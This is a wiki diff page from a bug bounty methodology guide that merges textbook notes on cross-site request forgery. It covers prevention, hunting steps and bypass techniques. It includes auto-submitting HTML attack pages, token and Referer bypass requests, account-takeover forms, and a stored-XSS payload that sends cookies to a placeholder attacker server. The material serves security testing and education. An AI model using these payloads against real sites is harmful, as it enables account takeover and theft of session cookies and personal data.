User Tools

Site Tools


tbhm:08_csrf

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
tbhm:08_csrf [2026/05/14 09:59] – integrate zseano methodology drewtbhm:08_csrf [2026/05/14 10:50] (current) – merge bbc ch9 csrf techniques drew
Line 30: Line 30:
  
   * [[zseano:csrf|Full Zseano CSRF Guide]]   * [[zseano:csrf|Full Zseano CSRF Guide]]
 +
 +
 +====== BBC Ch 9: Cross-Site Request Forgery ======
 +
 +//Merged from Bug Bounty Bootcamp Ch 9 by Vickie Li//
 +
 +===== How CSRF Works =====
 +
 +CSRF forces a victim's browser to execute unwanted state-changing actions on a target site. Because browsers automatically send session cookies with every request to a matching domain, an attacker can craft a malicious page that issues a request to the target site -- and the victim's browser will include their session cookie, making the request appear legitimate.
 +
 +CSRF attacks specifically target state-changing requests (not reads), because the attacker cannot read the server's response from a cross-origin page.
 +
 +**Minimal CSRF attack page:**
 +
 +<code html>
 +<html>
 +  <form method="POST" action="https://twitter.com/send_a_tweet" id="csrf-form">
 +    <input type="text" name="tweet_content" value="Follow @vickieli7 on Twitter!">
 +    <input type='submit' value="Submit">
 +  </form>
 +  <script>document.getElementById("csrf-form").submit();</script>
 +</html>
 +</code>
 +
 +The invisible iframe variant (no user click needed):
 +
 +<code html>
 +<html>
 +  <iframe style="display:none" name="csrf-frame">
 +    <form method="POST" action="https://twitter.com/send_a_tweet"
 +      target="csrf-frame" id="csrf-form">
 +      <input type="text" name="tweet_content" value="Follow @vickieli7 on Twitter!">
 +      <input type='submit' value="Submit">
 +    </form>
 +  </iframe>
 +  <script>document.getElementById("csrf-form").submit();</script>
 +</html>
 +</code>
 +
 +Any victim who visits this page will have the action executed automatically.
 +
 +===== Prevention =====
 +
 +==== CSRF Tokens ====
 +
 +The server generates a random unpredictable token and embeds it in every form:
 +
 +<code html>
 +<form method="POST" action="https://twitter.com/send_a_tweet">
 +  <input type="text" name="tweet_content" value="Hello world!">
 +  <input type="text" name="csrf_token" value="871caef0757a4ac9691aceb9aad8b65b">
 +  <input type="submit" value="Submit">
 +</form>
 +</code>
 +
 +The server validates the token on every state-changing request. The token must be unique per session (or per form) and have sufficient entropy to prevent guessing. Frameworks often have CSRF token support built in.
 +
 +==== SameSite Cookies ====
 +
 +<code>
 +Set-Cookie: PHPSESSID=UEhQUOVTUOlE; Max-Age=86400; Secure; HttpOnly; SameSite=Strict
 +Set-Cookie: PHPSESSID=UEhQUOVTUOlE; Max-Age=86400; Secure; HttpOnly; SameSite=Lax
 +</code>
 +
 +  * ''SameSite=Strict'' -- cookies never sent on cross-site requests
 +  * ''SameSite=Lax'' -- cookies sent only on top-level navigation GET requests (not on cross-site POST or iframe requests)
 +
 +Chrome made ''SameSite=Lax'' the default in 2020 for cookies that don't specify the attribute. This reduces POST CSRF exposure significantly, but CSRF remains possible when:
 +  * State-changing actions are performed via GET requests
 +  * The site explicitly sets ''SameSite=None'' on session cookies
 +  * The victim uses Firefox, IE, or Safari (which do not default to Lax)
 +
 +===== Hunting for CSRFs =====
 +
 +Test with Firefox (not Chrome) when testing POST CSRF, since Chrome's Lax default will prevent cookie sending on cross-site POST.
 +
 +==== Step 1: Spot State-Changing Actions ====
 +
 +Browse the application and record every endpoint that alters user data. For each, note:
 +  * URL and HTTP method
 +  * Request parameters
 +
 +Example inventory for ''email.example.com'':
 +  * Change password: ''email.example.com/password_change'' (POST, param: ''new_password'')
 +  * Send email: ''email.example.com/send_email'' (POST, params: ''draft_id'', ''recipient_id'')
 +  * Delete email: ''email.example.com/delete_email'' (POST, param: ''email_id'')
 +
 +==== Step 2: Look for CSRF Protections ====
 +
 +Intercept each state-changing request in Burp. Search the request for the string "csrf" or "state". CSRF tokens can appear as:
 +  * POST body parameters
 +  * HTTP request headers (''X-CSRF-Token'')
 +  * Cookie values
 +  * URL parameters
 +
 +Even if a token is present, test bypass techniques -- many implementations are flawed.
 +
 +==== Step 3: Confirm the Vulnerability ====
 +
 +Craft a malicious HTML page and open it in a browser signed into the target site. Check whether the action was executed:
 +
 +<code html>
 +<html>
 +  <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
 +    <input type="text" name="new_password" value="abc123">
 +    <input type="submit" value="Submit">
 +  </form>
 +  <script>document.getElementById("csrf-form").submit();</script>
 +</html>
 +</code>
 +
 +For GET-based state-changing actions, an img tag is enough:
 +
 +<code html>
 +<img src="https://email.example.com/password_change?new_password=abc123"/>
 +</code>
 +
 +===== Bypassing CSRF Protection =====
 +
 +==== Exploit Clickjacking ====
 +
 +If the endpoint has a CSRF token but the page is frameable (see Ch8), use clickjacking to trick the user into clicking the submit button on the framed page. The browser sends the legitimate CSRF token because it originates from the real page.
 +
 +==== Change the Request Method ====
 +
 +Try switching POST to GET. Some endpoints accept both but only validate CSRF tokens on POST:
 +
 +<code>
 +GET /password_change?new_password=abc123
 +Host: email.example.com
 +Cookie: session_cookie=YOUR_SESSION_COOKIE
 +</code>
 +
 +Trigger with an img tag -- the browser sends a GET request when loading the image source.
 +
 +==== Bypass Token Validation -- Delete or Blank the Token ====
 +
 +Some applications only validate the token if the parameter is present and non-empty. If the token is missing or blank, they skip validation:
 +
 +Delete the parameter entirely:
 +<code>
 +POST /password_change
 +(POST body)
 +new_password=abc123
 +</code>
 +
 +Send a blank token:
 +<code>
 +POST /password_change
 +(POST body)
 +new_password=abc123&csrf_token=
 +</code>
 +
 +==== Bypass Token Validation -- Use Another Session's Token ====
 +
 +Some apps verify only that the token is a valid token, not that it belongs to the current session. Obtain a valid token from your own session and substitute it in the forged request targeting another user:
 +
 +<code>
 +POST /password_change
 +(POST body)
 +new_password=abc123&csrf_token=YOUR_OWN_TOKEN
 +</code>
 +
 +==== Bypass Double-Submit Cookies ====
 +
 +Some sites use a double-submit cookie: the ''csrf_token'' cookie value must match the ''csrf_token'' POST parameter. The server doesn't store the valid token -- it just checks that both values match.
 +
 +If you can plant a cookie in the victim's browser (via session fixation or a subdomain XSS), set the ''csrf_token'' cookie to any value you control and use the same value in the POST parameter:
 +
 +<code>
 +POST /password_change
 +Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=not_a_real_token
 +(POST body)
 +new_password=abc123&csrf_token=not_a_real_token
 +</code>
 +
 +==== Bypass Referer Check -- Remove the Referer ====
 +
 +If the site validates the Referer header instead of CSRF tokens, add a meta tag to your attack page to suppress the Referer:
 +
 +<code html>
 +<html>
 +  <meta name="referrer" content="no-referrer">
 +  <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
 +    <input type="text" name="new_password" value="abc123">
 +    <input type='submit' value="Submit">
 +  </form>
 +  <script>document.getElementById("csrf-form").submit();</script>
 +</html>
 +</code>
 +
 +If the app only validates the Referer when it is present, a missing Referer bypasses the check entirely.
 +
 +==== Bypass Referer Check -- Flawed Logic ====
 +
 +If the app checks that the Referer **contains** the victim domain name:
 +
 +<code>
 +Referer: example.com.attacker.com     (subdomain named "example.com")
 +Referer: attacker.com/example.com     (path named "example.com")
 +</code>
 +
 +==== Bypass via XSS ====
 +
 +Any XSS on the target site defeats CSRF protection. XSS can read the CSRF token from the DOM via ''XMLHttpRequest'' and embed it in a forged request -- no token bypass needed.
 +
 +===== Escalating the Attack =====
 +
 +==== Leak User Information ====
 +
 +CSRF on a billing email change endpoint lets the attacker redirect account summaries (containing address, phone number, credit card info) to their own inbox:
 +
 +<code>
 +POST /change_billing_email
 +(POST body)
 +email=ATTACKER_EMAIL&csrf_token=
 +</code>
 +
 +Once the billing email is changed, trigger "send account summary" to receive the victim's PII.
 +
 +==== Create Stored Self-XSS via CSRF ====
 +
 +Self-XSS (only the user themselves can trigger it) becomes exploitable when combined with CSRF. If an account nickname field is vulnerable to self-XSS but the nickname endpoint lacks CSRF protection, an attacker can use CSRF to store an XSS payload in the victim's nickname. The next time the victim views their own dashboard, the XSS fires.
 +
 +<code>
 +POST /change_account_nickname
 +(POST body)
 +account=0
 +&nickname=<script>document.location='http://attacker_server_ip/cookie_stealer.php?c='+document.cookie;</script>
 +</code>
 +
 +(No csrf_token parameter -- token validation skipped when parameter is absent.)
 +
 +==== Account Takeover ====
 +
 +CSRF on a set-password endpoint for accounts created via social login (no existing password) allows the attacker to assign a password to any such account:
 +
 +<code html>
 +<html>
 +  <form method="POST" action="https://email.example.com/set_password" id="csrf-form">
 +    <input type="text" name="new_password" value="this_account_is_now_mine">
 +    <input type="text" name="csrf_token" value="">
 +    <input type='submit' value="Submit">
 +  </form>
 +  <script>document.getElementById("csrf-form").submit();</script>
 +</html>
 +</code>
 +
 +Post the link to this page on a forum frequented by the target site's users. Any social-login account that visits the link gets a new password set.
 +
 +===== Delivering the Payload =====
 +
 +  * **External site link**: post a link to your malicious page on any forum or feed the target site's users visit
 +  * **GET CSRF via img**: embed the request as an img src in a forum post -- fires on page load with no click
 +  * **Via stored XSS**: inject the CSRF payload into a comment/forum field visible to victims:
 +
 +<code javascript>
 +document.body.innerHTML += '
 +  <form method="POST" action="https://email.example.com/set_password" id="csrf-form">
 +    <input type="text" name="new_password" value="this_account_is_now_mine">
 +    <input type="submit" value="Submit">
 +  </form>';
 +document.getElementById("csrf-form").submit();
 +</code>
 +
 +Burp Suite Pro and OWASP ZAP both have automatic CSRF POC generation features.
 +
 +===== 6-Step Checklist =====
 +
 +  - Spot state-changing actions and list their endpoints, HTTP methods, and parameters.
 +  - Check each for CSRF protection (search request for "csrf" or "state").
 +  - If protection is present, try bypass techniques (clickjacking, method switch, blank/deleted token, another session's token, referer removal).
 +  - Confirm by crafting a malicious HTML page and opening it in a browser signed into the target.
 +  - Plan payload delivery: external link, img embed, or via stored XSS.
 +  - Draft the report with a working PoC.
  
tbhm/08_csrf.txt · Last modified: by drew

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki